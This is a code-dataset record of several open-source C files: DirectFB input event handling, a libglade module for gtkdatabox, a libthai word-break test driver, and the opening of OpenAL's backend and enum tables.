DIKS_ALTGR) ? ~DIMM_ALTGR : ~DIMM_ALT; break; case DIKI_META_L: shared->modifiers_l &= ~DIMM_META; break; case DIKI_META_R: shared->modifiers_r &= ~DIMM_META; break; case DIKI_SUPER_L: shared->modifiers_l &= ~DIMM_SUPER; break; case DIKI_SUPER_R: shared->modifiers_r &= ~DIMM_SUPER; break; case DIKI_HYPER_L: shared->modifiers_l &= ~DIMM_HYPER; break; case DIKI_HYPER_R: shared->modifiers_r &= ~DIMM_HYPER; break; default: ; } } /* write back to event */ if (missing & DIEF_MODIFIERS) event->modifiers = shared->modifiers_l | shared->modifiers_r; } /* * Update cached values for locks. */ if (event->type == DIET_KEYPRESS) { /* When we receive a new key press, toggle lock flags */ if (shared->first_press || shared->last_key != event->key_id) { switch (event->key_id) { case DIKI_CAPS_LOCK: shared->locks ^= DILS_CAPS; break; case DIKI_NUM_LOCK: shared->locks ^= DILS_NUM; break; case DIKI_SCROLL_LOCK: shared->locks ^= DILS_SCROLL; break; default: ; } } /* write back to event */ if (missing & DIEF_LOCKS) event->locks = shared->locks; /* store last pressed key */ shared->last_key = event->key_id; shared->first_press = false; } else if (event->type == DIET_KEYRELEASE) { shared->first_press = true; } /* Handle dead keys. */ if (DFB_KEY_TYPE(shared->last_symbol) == DIKT_DEAD) { for (i=0; i<D_ARRAY_SIZE(deadkey_maps); i++) { const DeadKeyMap *map = &deadkey_maps[i]; if (map->deadkey == shared->last_symbol) { for (i=0; map->combos[i].target; i++) { if (map->combos[i].target == event->key_symbol) { event->key_symbol = map->combos[i].result; break; } } break; } } if (event->type == DIET_KEYRELEASE && DFB_KEY_TYPE(event->key_symbol) != DIKT_MODIFIER) shared->last_symbol = event->key_symbol; } else shared->last_symbol = event->key_symbol; } static void fixup_mouse_event( CoreInputDevice *device, DFBInputEvent *event ) { InputDeviceShared *shared = device->shared; D_MAGIC_ASSERT( device, CoreInputDevice ); if (event->flags & DIEF_BUTTONS) { shared->buttons = event->buttons; } else { switch (event->type) { case DIET_BUTTONPRESS: shared->buttons |= (1 << event->button); break; case DIET_BUTTONRELEASE: shared->buttons &= ~(1 << event->button); break; default: ; } /* Add missing flag */ event->flags |= DIEF_BUTTONS; event->buttons = shared->buttons; } switch (event->type) { case DIET_AXISMOTION: if ((event->flags & DIEF_AXISABS) && event->axis >= 0 && event->axis < shared->axis_num) { if (!(event->flags & DIEF_MIN) && (shared->axis_info[event->axis].flags & DIAIF_ABS_MIN)) { event->min = shared->axis_info[event->axis].abs_min; event->flags |= DIEF_MIN; } if (!(event->flags & DIEF_MAX) && (shared->axis_info[event->axis].flags & DIAIF_ABS_MAX)) { event->max = shared->axis_info[event->axis].abs_max; event->flags |= DIEF_MAX; } } break; default: break; } } static DFBInputDeviceKeyIdentifier symbol_to_id( DFBInputDeviceKeySymbol symbol ) { if (symbol >= 'a' && symbol <= 'z') return DIKI_A + symbol - 'a'; if (symbol >= 'A' && symbol <= 'Z') return DIKI_A + symbol - 'A'; if (symbol >= '0' && symbol <= '9') return DIKI_0 + symbol - '0'; if (symbol >= DIKS_F1 && symbol <= DIKS_F12) return DIKI_F1 + symbol - DIKS_F1; switch (symbol) { case DIKS_ESCAPE: return DIKI_ESCAPE; case DIKS_CURSOR_LEFT: return DIKI_LEFT; case DIKS_CURSOR_RIGHT: return DIKI_RIGHT; case DIKS_CURSOR_UP: return DIKI_UP; case DIKS_CURSOR_DOWN: return DIKI_DOWN; case DIKS_ALTGR: return DIKI_ALT_R; case DIKS_CONTROL: return DIKI_CONTROL_L; case DIKS_SHIFT: return DIKI_SHIFT_L; case DIKS_ALT: return DIKI_ALT_L; case DIKS_META: return DIKI_META_L; case DIKS_SUPER: return DIKI_SUPER_L; case DIKS_HYPER: return DIKI_HYPER_L; case DIKS_TAB: return DIKI_TAB; case DIKS_ENTER: return DIKI_ENTER; case DIKS_SPACE: return DIKI_SPACE; case DIKS_BACKSPACE: return DIKI_BACKSPACE; case DIKS_INSERT: return DIKI_INSERT; case DIKS_DELETE: return DIKI_DELETE; case DIKS_HOME: return DIKI_HOME; case DIKS_END: return DIKI_END; case DIKS_PAGE_UP: return DIKI_PAGE_UP; case DIKS_PAGE_DOWN: return DIKI_PAGE_DOWN; case DIKS_CAPS_LOCK: return DIKI_CAPS_LOCK; case DIKS_NUM_LOCK: return DIKI_NUM_LOCK; case DIKS_SCROLL_LOCK: return DIKI_SCROLL_LOCK; case DIKS_PRINT: return DIKI_PRINT; case DIKS_PAUSE: return DIKI_PAUSE; case DIKS_BACKSLASH: return DIKI_BACKSLASH; case DIKS_PERIOD: return DIKI_PERIOD; case DIKS_COMMA: return DIKI_COMMA; default: ; } return DIKI_UNKNOWN; } static DFBInputDeviceKeySymbol id_to_symbol( DFBInputDeviceKeyIdentifier id, DFBInputDeviceModifierMask modifiers, DFBInputDeviceLockState locks ) { bool shift = (modifiers & DIMM_SHIFT) || (locks & DILS_CAPS); if (id >= DIKI_A && id <= DIKI_Z) return (shift ? DIKS_CAPITAL_A : DIKS_SMALL_A) + id - DIKI_A; if (id >= DIKI_0 && id <= DIKI_9) return DIKS_0 + id - DIKI_0; if (id >= DIKI_KP_0 && id <= DIKI_KP_9) return DIKS_0 + id - DIKI_KP_0; if (id >= DIKI_F1 && id <= DIKI_F12) return DIKS_F1 + id - DIKI_F1; switch (id) { case DIKI_ESCAPE: return DIKS_ESCAPE; case DIKI_LEFT: return DIKS_CURSOR_LEFT; case DIKI_RIGHT: return DIKS_CURSOR_RIGHT; case DIKI_UP: return DIKS_CURSOR_UP; case DIKI_DOWN: return DIKS_CURSOR_DOWN; case DIKI_CONTROL_L: case DIKI_CONTROL_R: return DIKS_CONTROL; case DIKI_SHIFT_L: case DIKI_SHIFT_R: return DIKS_SHIFT; case DIKI_ALT_L: case DIKI_ALT_R: return DIKS_ALT; case DIKI_META_L: case DIKI_META_R: return DIKS_META; case DIKI_SUPER_L: case DIKI_SUPER_R: return DIKS_SUPER; case DIKI_HYPER_L: case DIKI_HYPER_R: return DIKS_HYPER; case DIKI_TAB: return DIKS_TAB; case DIKI_ENTER: return DIKS_ENTER; case DIKI_SPACE: return DIKS_SPACE; case DIKI_BACKSPACE: return DIKS_BACKSPACE; case DIKI_INSERT: return DIKS_INSERT; case DIKI_DELETE: return DIKS_DELETE; case DIKI_HOME: return DIKS_HOME; case DIKI_END: return DIKS_END; case DIKI_PAGE_UP: return DIKS_PAGE_UP; case DIKI_PAGE_DOWN: return DIKS_PAGE_DOWN; case DIKI_CAPS_LOCK: return DIKS_CAPS_LOCK; case DIKI_NUM_LOCK: return DIKS_NUM_LOCK; case DIKI_SCROLL_LOCK: return DIKS_SCROLL_LOCK; case DIKI_PRINT: return DIKS_PRINT; case DIKI_PAUSE: return DIKS_PAUSE; case DIKI_KP_DIV: return DIKS_SLASH; case DIKI_KP_MULT: return DIKS_ASTERISK; case DIKI_KP_MINUS: return DIKS_MINUS_SIGN; case DIKI_KP_PLUS: return DIKS_PLUS_SIGN; case DIKI_KP_ENTER: return DIKS_ENTER; case DIKI_KP_SPACE: return DIKS_SPACE; case DIKI_KP_TAB: return DIKS_TAB; case DIKI_KP_EQUAL: return DIKS_EQUALS_SIGN; case DIKI_KP_DECIMAL: return DIKS_PERIOD; case DIKI_KP_SEPARATOR: return DIKS_COMMA; case DIKI_BACKSLASH: return DIKS_BACKSLASH; case DIKI_EQUALS_SIGN: return DIKS_EQUALS_SIGN; case DIKI_LESS_SIGN: return DIKS_LESS_THAN_SIGN; case DIKI_MINUS_SIGN: return DIKS_MINUS_SIGN; case DIKI_PERIOD: return DIKS_PERIOD; case DIKI_QUOTE_LEFT: case DIKI_QUOTE_RIGHT: return DIKS_QUOTATION; case DIKI_SEMICOLON: return DIKS_SEMICOLON; case DIKI_SLASH: return DIKS_SLASH; default: ; } return DIKS_NULL; } static void release_key( CoreInputDevice *device, DFBInputDeviceKeyIdentifier id ) { DFBInputEvent evt; D_MAGIC_ASSERT( device, CoreInputDevice ); evt.type = DIET_KEYRELEASE; if (DFB_KEY_TYPE(id) == DIKT_IDENTIFIER) { evt.flags = DIEF_KEYID; evt.key_id = id; } else { evt.flags = DIEF_KEYSYMBOL; evt.key_symbol = id; } dfb_input_dispatch( device, &evt ); } static void flush_keys( CoreInputDevice *device ) { D_MAGIC_ASSERT( device, CoreInputDevice ); if (device->shared->modifiers_l) { if (device->shared->modifiers_l & DIMM_ALT) release_key( device, DIKI_ALT_L ); if (device->shared->modifiers_l & DIMM_CONTROL) release_key( device, DIKI_CONTROL_L ); if (device->shared->modifiers_l & DIMM_HYPER) release_key( device, DIKI_HYPER_L ); if (device->shared->modifiers_l & DIMM_META) release_key( device, DIKI_META_L ); if (device->shared->modifiers_l & DIMM_SHIFT) release_key( device, DIKI_SHIFT_L ); if (device->shared->modifiers_l & DIMM_SUPER) release_key( device, DIKI_SUPER_L ); } if (device->shared->modifiers_r) { if (device->shared->modifiers_r & DIMM_ALTGR) release_key( device, DIKS_ALTGR ); if (device->shared->modifiers_r & DIMM_ALT) release_key( device, DIKI_ALT_R ); if (device->shared->modifiers_r & DIMM_CONTROL) release_key( device, DIKI_CONTROL_R ); if (device->shared->modifiers_r & DIMM_HYPER) release_key( device, DIKI_HYPER_R ); if (device->shared->modifiers_r & DIMM_META) release_key( device, DIKI_META_R ); if (device->shared->modifiers_r & DIMM_SHIFT) release_key( device, DIKI_SHIFT_R ); if (device->shared->modifiers_r & DIMM_SUPER) release_key( device, DIKI_SUPER_R ); } } static void dump_primary_layer_surface( CoreDFB *core ) { CoreLayer *layer = dfb_layer_at( DLID_PRIMARY ); CoreLayerContext *context; /* Get the currently active context. */ if (dfb_layer_get_active_context( layer, &context ) == DFB_OK) { CoreLayerRegion *region; /* Get the first region. */ if (dfb_layer_context_get_primary_region( context, false, &region ) == DFB_OK) { CoreSurface *surface; /* Lock the region to avoid tearing due to concurrent updates. */ dfb_layer_region_lock( region ); /* Get the surface of the region. */ if (dfb_layer_region_get_surface( region, &surface ) == DFB_OK) { /* Dump the surface contents. */ dfb_surface_dump_buffer( surface, CSBR_FRONT, dfb_config->screenshot_dir, "dfb" ); /* Release the surface. */ dfb_surface_unref( surface ); } /* Unlock the region. */ dfb_layer_region_unlock( region ); /* Release the region. */ dfb_layer_region_unref( region ); } /* Release the context. */ dfb_layer_context_unref( context ); } } static bool core_input_filter( CoreInputDevice *device, DFBInputEvent *event ) { D_MAGIC_ASSERT( device, CoreInputDevice ); if (dfb_system_input_filter( device, event )) return true; if (event->type == DIET_KEYPRESS) { switch (event->key_symbol) { case DIKS_PRINT: if (!event->modifiers && dfb_config->screenshot_dir) { dump_primary_layer_surface( device->core ); return true; } break; case DIKS_BACKSPACE: if (event->modifiers == DIMM_META) direct_trace_print_stacks(); break; case DIKS_ESCAPE: if (event->modifiers == DIMM_META) { #if FUSION_BUILD_MULTI DFBResult ret; CoreLayer *layer = dfb_layer_at( DLID_PRIMARY ); CoreLayerContext *context; /* Get primary (shared) context. */ ret = dfb_layer_get_primary_context( layer, false, &context ); if (ret) return false; /* Activate the context. */ dfb_layer_activate_context( layer, context ); /* Release the context. */ dfb_layer_context_unref( context ); #else kill( 0, SIGINT ); #endif return true; } break; default: break; } } return false; }
ecbtnrt/my-dfb
src/core/input.c
C
lgpl-2.1
94,789
/* $Id: glade-databox.c 4 2008-06-22 09:19:11Z rbock $ */ /* -*- Mode: C; c-basic-offset: 4 -*- * libglade - a library for building interfaces from XML files at runtime * Copyright (C) 1998-2001 James Henstridge <james@daa.com.au> * Copyright 2001 Ximian, Inc. * * glade-databox.c: support for canvas widgets in libglade. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301 USA. * * Authors: * Jacob Berkman <jacob@ximian.com> * James Henstridge <james@daa.com.au> * * Modified for gtkdatabox by (based on gnome-canvas glade interface): * H. Nieuwenhuis <vzzbx@xs4all.nl> */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <stdlib.h> #include <string.h> #include <glade/glade-init.h> #include <glade/glade-build.h> #include <gtkdatabox.h> #include <gtkdatabox_ruler.h> /* this macro puts a version check function into the module */ GLADE_MODULE_CHECK_INIT void glade_module_register_widgets (void) { glade_require ("gtk"); glade_register_widget (GTK_TYPE_DATABOX, glade_standard_build_widget, NULL, NULL); glade_register_widget (GTK_DATABOX_TYPE_RULER, glade_standard_build_widget, NULL, NULL); glade_provide ("databox"); }
drahnr/gtkdatabox-radioactive
ui/glade-databox.c
C
lgpl-2.1
1,875
/* Test driver for thbrk */ #define MAXLINELENGTH 1000 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <thai/thbrk.h> /* run with "-i" argument to get the interactive version otherwise it will run the self test and exit */ int main (int argc, char* argv[]) { thchar_t str[MAXLINELENGTH]; thchar_t out[MAXLINELENGTH*6+1]; int pos[MAXLINELENGTH]; int outputLength; int numCut, i; int interactive = 0; ThBrk *brk; if (argc >= 2) { if (0 == strcmp (argv[1], "-i")) interactive = 1; } brk = th_brk_new (NULL); if (!brk) { printf ("Unable to create word breaker!\n"); exit (-1); } if (interactive) { while (!feof (stdin)) { printf ("Please enter thai words/sentences: "); if (!fgets ((char *)str, MAXLINELENGTH-1, stdin)) { numCut = th_brk_find_breaks (brk, str, pos, MAXLINELENGTH); printf ("Total %d cut points.", numCut); if (numCut > 0) { printf ("Cut points list: %d", pos[0]); for (i = 1; i < numCut; i++) { printf(", %d", pos[i]); } } printf("\n"); outputLength = th_brk_insert_breaks (brk, str, out, sizeof out, "<WBR>"); printf ("Output string length is %d\n", outputLength-1); /* the penultimate is \n */ printf ("Output string is %s", out); printf("***********************************************************************\n"); } } } else { strcpy ((char *)str, "ÊÇÑÊ´Õ¤ÃѺ ¡Í.ÃÁ¹. ¹Õèà»ç¹¡Ò÷´ÊͺµÑÇàͧ"); printf ("Testing with string: %s\n", str); numCut = th_brk_find_breaks (brk, str, pos, MAXLINELENGTH); printf ("Total %d cut points.", numCut); if (numCut != 7) { printf("Error! should be 7.. test th_brk_find_breaks() failed...\n"); exit (-1); } printf("Cut points list: %d", pos[0]); for (i = 1; i < numCut; i++) { printf(", %d", pos[i]); } printf("\n"); outputLength = th_brk_insert_breaks (brk, str, out, sizeof out, "<WBR>"); printf ("Output string is %s\n", out); printf ("Output string length is %d\n", outputLength); if (outputLength != 75) { printf ("Error! should be 75.. test th_brk_insert_breaks() failed...\n"); exit (-1); } printf ("*** End of thbrk self test ******\n"); } th_brk_delete (brk); return 0; }
pexip/os-libthai
tests/test_thbrk.c
C
lgpl-2.1
2,400
/** * OpenAL cross platform audio library * Copyright (C) 1999-2007 by authors. * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. * Or go to http://www.gnu.org/copyleft/lgpl.html */ #include "config.h" #include <math.h> #include <stdlib.h> #include <stdio.h> #include <memory.h> #include <ctype.h> #include <signal.h> #include "alMain.h" #include "alSource.h" #include "AL/al.h" #include "AL/alc.h" #include "alThunk.h" #include "alSource.h" #include "alBuffer.h" #include "alAuxEffectSlot.h" #include "alError.h" #include "bs2b.h" #include "alu.h" /************************************************ * Backends ************************************************/ #define EmptyFuncs { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL } static struct BackendInfo BackendList[] = { #ifdef HAVE_PULSEAUDIO { "pulse", alc_pulse_init, alc_pulse_deinit, alc_pulse_probe, EmptyFuncs }, #endif #ifdef HAVE_ALSA { "alsa", alc_alsa_init, alc_alsa_deinit, alc_alsa_probe, EmptyFuncs }, #endif #ifdef HAVE_COREAUDIO { "core", alc_ca_init, alc_ca_deinit, alc_ca_probe, EmptyFuncs }, #endif #ifdef HAVE_OSS { "oss", alc_oss_init, alc_oss_deinit, alc_oss_probe, EmptyFuncs }, #endif #ifdef HAVE_SOLARIS { "solaris", alc_solaris_init, alc_solaris_deinit, alc_solaris_probe, EmptyFuncs }, #endif #ifdef HAVE_SNDIO { "sndio", alc_sndio_init, alc_sndio_deinit, alc_sndio_probe, EmptyFuncs }, #endif #ifdef HAVE_MMDEVAPI { "mmdevapi", alcMMDevApiInit, alcMMDevApiDeinit, alcMMDevApiProbe, EmptyFuncs }, #endif #ifdef HAVE_DSOUND { "dsound", alcDSoundInit, alcDSoundDeinit, alcDSoundProbe, EmptyFuncs }, #endif #ifdef HAVE_WINMM { "winmm", alcWinMMInit, alcWinMMDeinit, alcWinMMProbe, EmptyFuncs }, #endif #ifdef HAVE_PORTAUDIO { "port", alc_pa_init, alc_pa_deinit, alc_pa_probe, EmptyFuncs }, #endif #ifdef HAVE_OPENSL { "opensl", alc_opensl_init, alc_opensl_deinit, alc_opensl_probe, EmptyFuncs }, #endif { "null", alc_null_init, alc_null_deinit, alc_null_probe, EmptyFuncs }, #ifdef HAVE_WAVE { "wave", alc_wave_init, alc_wave_deinit, alc_wave_probe, EmptyFuncs }, #endif { NULL, NULL, NULL, NULL, EmptyFuncs } }; static struct BackendInfo BackendLoopback = { "loopback", alc_loopback_init, alc_loopback_deinit, alc_loopback_probe, EmptyFuncs }; #undef EmptyFuncs static struct BackendInfo PlaybackBackend; static struct BackendInfo CaptureBackend; /************************************************ * Functions, enums, and errors ************************************************/ typedef struct ALCfunction { const ALCchar *funcName; ALCvoid *address; } ALCfunction; typedef struct ALCenums { const ALCchar *enumName; ALCenum value; } ALCenums; #define DECL(x) { #x, (ALCvoid*)(x) } static const ALCfunction alcFunctions[] = { DECL(alcCreateContext), DECL(alcMakeContextCurrent), DECL(alcProcessContext), DECL(alcSuspendContext), DECL(alcDestroyContext), DECL(alcGetCurrentContext), DECL(alcGetContextsDevice), DECL(alcOpenDevice), DECL(alcCloseDevice), DECL(alcGetError), DECL(alcIsExtensionPresent), DECL(alcGetProcAddress), DECL(alcGetEnumValue), DECL(alcGetString), DECL(alcGetIntegerv), DECL(alcCaptureOpenDevice), DECL(alcCaptureCloseDevice), DECL(alcCaptureStart), DECL(alcCaptureStop), DECL(alcCaptureSamples), DECL(alcSetThreadContext), DECL(alcGetThreadContext), DECL(alcLoopbackOpenDeviceSOFT), DECL(alcIsRenderFormatSupportedSOFT), DECL(alcRenderSamplesSOFT), DECL(alEnable), DECL(alDisable), DECL(alIsEnabled), DECL(alGetString), DECL(alGetBooleanv), DECL(alGetIntegerv), DECL(alGetFloatv), DECL(alGetDoublev), DECL(alGetBoolean), DECL(alGetInteger), DECL(alGetFloat), DECL(alGetDouble), DECL(alGetError), DECL(alIsExtensionPresent), DECL(alGetProcAddress), DECL(alGetEnumValue), DECL(alListenerf), DECL(alListener3f), DECL(alListenerfv), DECL(alListeneri), DECL(alListener3i), DECL(alListeneriv), DECL(alGetListenerf), DECL(alGetListener3f), DECL(alGetListenerfv), DECL(alGetListeneri), DECL(alGetListener3i), DECL(alGetListeneriv), DECL(alGenSources), DECL(alDeleteSources), DECL(alIsSource), DECL(alSourcef), DECL(alSource3f), DECL(alSourcefv), DECL(alSourcei), DECL(alSource3i), DECL(alSourceiv), DECL(alGetSourcef), DECL(alGetSource3f), DECL(alGetSourcefv), DECL(alGetSourcei), DECL(alGetSource3i), DECL(alGetSourceiv), DECL(alSourcePlayv), DECL(alSourceStopv), DECL(alSourceRewindv), DECL(alSourcePausev), DECL(alSourcePlay), DECL(alSourceStop), DECL(alSourceRewind), DECL(alSourcePause), DECL(alSourceQueueBuffers), DECL(alSourceUnqueueBuffers), DECL(alGenBuffers), DECL(alDeleteBuffers), DECL(alIsBuffer), DECL(alBufferData), DECL(alBufferf), DECL(alBuffer3f), DECL(alBufferfv), DECL(alBufferi), DECL(alBuffer3i), DECL(alBufferiv), DECL(alGetBufferf), DECL(alGetBuffer3f), DECL(alGetBufferfv), DECL(alGetBufferi), DECL(alGetBuffer3i), DECL(alGetBufferiv), DECL(alDopplerFactor), DECL(alDopplerVelocity), DECL(alSpeedOfSound), DECL(alDistanceModel), DECL(alGenFilters), DECL(alDeleteFilters), DECL(alIsFilter), DECL(alFilteri), DECL(alFilteriv), DECL(alFilterf), DECL(alFilterfv), DECL(alGetFilteri), DECL(alGetFilteriv), DECL(alGetFilterf), DECL(alGetFilterfv), DECL(alGenEffects), DECL(alDeleteEffects), DECL(alIsEffect), DECL(alEffecti), DECL(alEffectiv), DECL(alEffectf), DECL(alEffectfv), DECL(alGetEffecti), DECL(alGetEffectiv), DECL(alGetEffectf), DECL(alGetEffectfv), DECL(alGenAuxiliaryEffectSlots), DECL(alDeleteAuxiliaryEffectSlots), DECL(alIsAuxiliaryEffectSlot), DECL(alAuxiliaryEffectSloti), DECL(alAuxiliaryEffectSlotiv), DECL(alAuxiliaryEffectSlotf), DECL(alAuxiliaryEffectSlotfv), DECL(alGetAuxiliaryEffectSloti), DECL(alGetAuxiliaryEffectSlotiv), DECL(alGetAuxiliaryEffectSlotf), DECL(alGetAuxiliaryEffectSlotfv), DECL(alBufferSubDataSOFT), DECL(alBufferSamplesSOFT), DECL(alBufferSubSamplesSOFT), DECL(alGetBufferSamplesSOFT), DECL(alIsBufferFormatSupportedSOFT), DECL(alDeferUpdatesSOFT), DECL(alProcessUpdatesSOFT), DECL(alGetSourcedSOFT), DECL(alGetSource3dSOFT), DECL(alGetSourcedvSOFT), DECL(alGetSourcei64SOFT), DECL(alGetSource3i64SOFT), DECL(alGetSourcei64vSOFT), { NULL, NULL } }; #undef DECL #define DECL(x) { #x, (x) } static const ALCenums enumeration[] = { DECL(ALC_INVALID), DECL(ALC_FALSE), DECL(ALC_TRUE), DECL(ALC_MAJOR_VERSION), DECL(ALC_MINOR_VERSION), DECL(ALC_ATTRIBUTES_SIZE), DECL(ALC_ALL_ATTRIBUTES), DECL(ALC_DEFAULT_DEVICE_SPECIFIER), DECL(ALC_DEVICE_SPECIFIER), DECL(ALC_ALL_DEVICES_SPECIFIER), DECL(ALC_DEFAULT_ALL_DEVICES_SPECIFIER), DECL(ALC_EXTENSIONS), DECL(ALC_FREQUENCY), DECL(ALC_REFRESH), DECL(ALC_SYNC), DECL(ALC_MONO_SOURCES), DECL(ALC_STEREO_SOURCES), DECL(ALC_CAPTURE_DEVICE_SPECIFIER), DECL(ALC_CAPTURE_DEFAULT_DEVICE_SPECIFIER), DECL(ALC_CAPTURE_SAMPLES), DECL(ALC_CONNECTED), DECL(ALC_EFX_MAJOR_VERSION), DECL(ALC_EFX_MINOR_VERSION), DECL(ALC_MAX_AUXILIARY_SENDS), DECL(ALC_FORMAT_CHANNELS_SOFT), DECL(ALC_FORMAT_TYPE_SOFT), DECL(ALC_MONO_SOFT), DECL(ALC_STEREO_SOFT), DECL(ALC_QUAD_SOFT), DECL(ALC_5POINT1_SOFT), DECL(ALC_6POINT1_SOFT), DECL(ALC_7POINT1_SOFT), DECL(ALC_BYTE_SOFT), DECL(ALC_UNSIGNED_BYTE_SOFT), DECL(ALC_SHORT_SOFT), DECL(ALC_UNSIGNED_SHORT_SOFT), DECL(ALC_INT_SOFT), DECL(ALC_UNSIGNED_INT_SOFT), DECL(ALC_FLOAT_SOFT), DECL(ALC_NO_ERROR), DECL(ALC_INVALID_DEVICE), DECL(ALC_INVALID_CONTEXT), DECL(ALC_INVALID_ENUM), DECL(ALC_INVALID_VALUE), DECL(ALC_OUT_OF_MEMORY), DECL(AL_INVALID), DECL(AL_NONE), DECL(AL_FALSE), DECL(AL_TRUE), DECL(AL_SOURCE_RELATIVE), DECL(AL_CONE_INNER_ANGLE), DECL(AL_CONE_OUTER_ANGLE), DECL(AL_PITCH), DECL(AL_POSITION), DECL(AL_DIRECTION), DECL(AL_VELOCITY), DECL(AL_LOOPING), DECL(AL_BUFFER), DECL(AL_GAIN), DECL(AL_MIN_GAIN), DECL(AL_MAX_GAIN), DECL(AL_ORIENTATION), DECL(AL_REFERENCE_DISTANCE), DECL(AL_ROLLOFF_FACTOR), DECL(AL_CONE_OUTER_GAIN), DECL(AL_MAX_DISTANCE), DECL(AL_SEC_OFFSET), DECL(AL_SAMPLE_OFFSET), DECL(AL_SAMPLE_RW_OFFSETS_SOFT), DECL(AL_BYTE_OFFSET), DECL(AL_BYTE_RW_OFFSETS_SOFT), DECL(AL_SOURCE_TYPE), DECL(AL_STATIC), DECL(AL_STREAMING), DECL(AL_UNDETERMINED), DECL(AL_METERS_PER_UNIT), DECL(AL_DIRECT_CHANNELS_SOFT), DECL(AL_DIRECT_FILTER), DECL(AL_AUXILIARY_SEND_FILTER), DECL(AL_AIR_ABSORPTION_FACTOR), DECL(AL_ROOM_ROLLOFF_FACTOR), DECL(AL_CONE_OUTER_GAINHF), DECL(AL_DIRECT_FILTER_GAINHF_AUTO), DECL(AL_AUXILIARY_SEND_FILTER_GAIN_AUTO), DECL(AL_AUXILIARY_SEND_FILTER_GAINHF_AUTO), DECL(AL_SOURCE_STATE), DECL(AL_INITIAL), DECL(AL_PLAYING), DECL(AL_PAUSED), DECL(AL_STOPPED), DECL(AL_BUFFERS_QUEUED), DECL(AL_BUFFERS_PROCESSED), DECL(AL_FORMAT_MONO8), DECL(AL_FORMAT_MONO16), DECL(AL_FORMAT_MONO_FLOAT32), DECL(AL_FORMAT_MONO_DOUBLE_EXT), DECL(AL_FORMAT_STEREO8), DECL(AL_FORMAT_STEREO16), DECL(AL_FORMAT_STEREO_FLOAT32), DECL(AL_FORMAT_STEREO_DOUBLE_EXT), DECL(AL_FORMAT_MONO_IMA4), DECL(AL_FORMAT_STEREO_IMA4), DECL(AL_FORMAT_QUAD8_LOKI), DECL(AL_FORMAT_QUAD16_LOKI), DECL(AL_FORMAT_QUAD8), DECL(AL_FORMAT_QUAD16), DECL(AL_FORMAT_QUAD32), DECL(AL_FORMAT_51CHN8), DECL(AL_FORMAT_51CHN16), DECL(AL_FORMAT_51CHN32), DECL(AL_FORMAT_61CHN8), DECL(AL_FORMAT_61CHN16), DECL(AL_FORMAT_61CHN32), DECL(AL_FORMAT_71CHN8), DECL(AL_FORMAT_71CHN16), DECL(AL_FORMAT_71CHN32), DECL(AL_FORMAT_REAR8), DECL(AL_FORMAT_REAR16), DECL(AL_FORMAT_REAR32), DECL(AL_FORMAT_MONO_MULAW), DECL(AL_FORMAT_MONO_MULAW_EXT), DECL(AL_FORMAT_STEREO_MULAW), DECL(AL_FORMAT_STEREO_MULAW_EXT), DECL(AL_FORMAT_QUAD_MULAW), DECL(AL_FORMAT_51CHN_MULAW), DECL(AL_FORMAT_61CHN_MULAW), DECL(AL_FORMAT_71CHN_MULAW), DECL(AL_FORMAT_REAR_MULAW), DECL(AL_FORMAT_MONO_ALAW_EXT), DECL(AL_FORMAT_STEREO_ALAW_EXT), DECL(AL_MONO8_SOFT), DECL(AL_MONO16_SOFT), DECL(AL_MONO32F_SOFT), DECL(AL_STEREO8_SOFT), DECL(AL_STEREO16_SOFT), DECL(AL_STEREO32F_SOFT), DECL(AL_QUAD8_SOFT), DECL(AL_QUAD16_SOFT), DECL(AL_QUAD32F_SOFT), DECL(AL_REAR8_SOFT), DECL(AL_REAR16_SOFT), DECL(AL_REAR32F_SOFT), DECL(AL_5POINT1_8_SOFT), DECL(AL_5POINT1_16_SOFT), DECL(AL_5POINT1_32F_SOFT), DECL(AL_6POINT1_8_SOFT), DECL(AL_6POINT1_16_SOFT), DECL(AL_6POINT1_32F_SOFT), DECL(AL_7POINT1_8_SOFT), DECL(AL_7POINT1_16_SOFT), DECL(AL_7POINT1_32F_SOFT), DECL(AL_MONO_SOFT), DECL(AL_STEREO_SOFT), DECL(AL_QUAD_SOFT), DECL(AL_REAR_SOFT), DECL(AL_5POINT1_SOFT), DECL(AL_6POINT1_SOFT), DECL(AL_7POINT1_SOFT), DECL(AL_BYTE_SOFT), DECL(AL_UNSIGNED_BYTE_SOFT), DECL(AL_SHORT_SOFT), DECL(AL_UNSIGNED_SHORT_SOFT), DECL(AL_INT_SOFT), DECL(AL_UNSIGNED_INT_SOFT), DECL(AL_FLOAT_SOFT), DECL(AL_DOUBLE_SOFT), DECL(AL_BYTE3_SOFT), DECL(AL_UNSIGNED_BYTE3_SOFT), DECL(AL_FREQUENCY), DECL(AL_BITS), DECL(AL_CHANNELS), DECL(AL_SIZE), DECL(AL_INTERNAL_FORMAT_SOFT), DECL(AL_BYTE_LENGTH_SOFT), DECL(AL_SAMPLE_LENGTH_SOFT), DECL(AL_SEC_LENGTH_SOFT), DECL(AL_UNUSED), DECL(AL_PENDING), DECL(AL_PROCESSED), DECL(AL_NO_ERROR), DECL(AL_INVALID_NAME), DECL(AL_INVALID_ENUM), DECL(AL_INVALID_VALUE), DECL(AL_INVALID_OPERATION), DECL(AL_OUT_OF_MEMORY), DECL(AL_VENDOR), DECL(AL_VERSION), DECL(AL_RENDERER), DECL(AL_EXTENSIONS), DECL(AL_DOPPLER_FACTOR), DECL(AL_DOPPLER_VELOCITY), DECL(AL_DISTANCE_MODEL), DECL(AL_SPEED_OF_SOUND), DECL(AL_SOURCE_DISTANCE_MODEL), 